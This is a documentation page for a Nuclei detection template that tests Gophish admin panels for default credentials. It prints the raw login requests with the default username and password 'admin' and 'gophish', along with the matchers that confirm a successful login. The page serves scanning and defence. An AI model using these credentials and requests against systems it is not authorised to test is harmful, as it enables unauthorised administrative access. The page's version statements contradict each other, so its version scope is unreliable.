Gophish < v0.10.1 Default Credentials
ID: gophish-default-login
Severity: high
Author: arcc,dhiyaneshDK
Tags: gophish,default-login
Description
Section titled “Description”For versions of Gophish > 0.10.1, the temporary administrator credentials are printed in the logs when you first execute the Gophish binary.
YAML Source
Section titled “YAML Source”id: gophish-default-login
info: name: Gophish < v0.10.1 Default Credentials author: arcc,dhiyaneshDK severity: high description: For versions of Gophish > 0.10.1, the temporary administrator credentials are printed in the logs when you first execute the Gophish binary. reference: - https://docs.getgophish.com/user-guide/getting-started classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 metadata: max-request: 2 tags: gophish,default-login
http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
username={{user}}&password={{pass}}&csrf_token={{replace(url_encode(html_unescape(csrf_token)), "+", "%2B")}}
attack: pitchfork payloads: user: - admin pass: - gophish
extractors: - type: regex name: csrf_token part: body internal: true group: 1 regex: - 'name="csrf_token" value="(.+?)"' matchers: - type: dsl dsl: - "!contains(tolower(header), 'location: /login')" - "contains(tolower(header), 'location: /')" - "contains(tolower(header), 'gophish')" - "status_code==302" condition: and# digest: 490a0046304402202b905a1b0155122279cd93d316e6d5db45f4731100011792bbe478a7e09317f602203575e769ffc6287e33a11d151518195fe1886e2dbc606afecc103b90e5a77ffe:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/default-logins/gophish/gophish-default-login.yaml"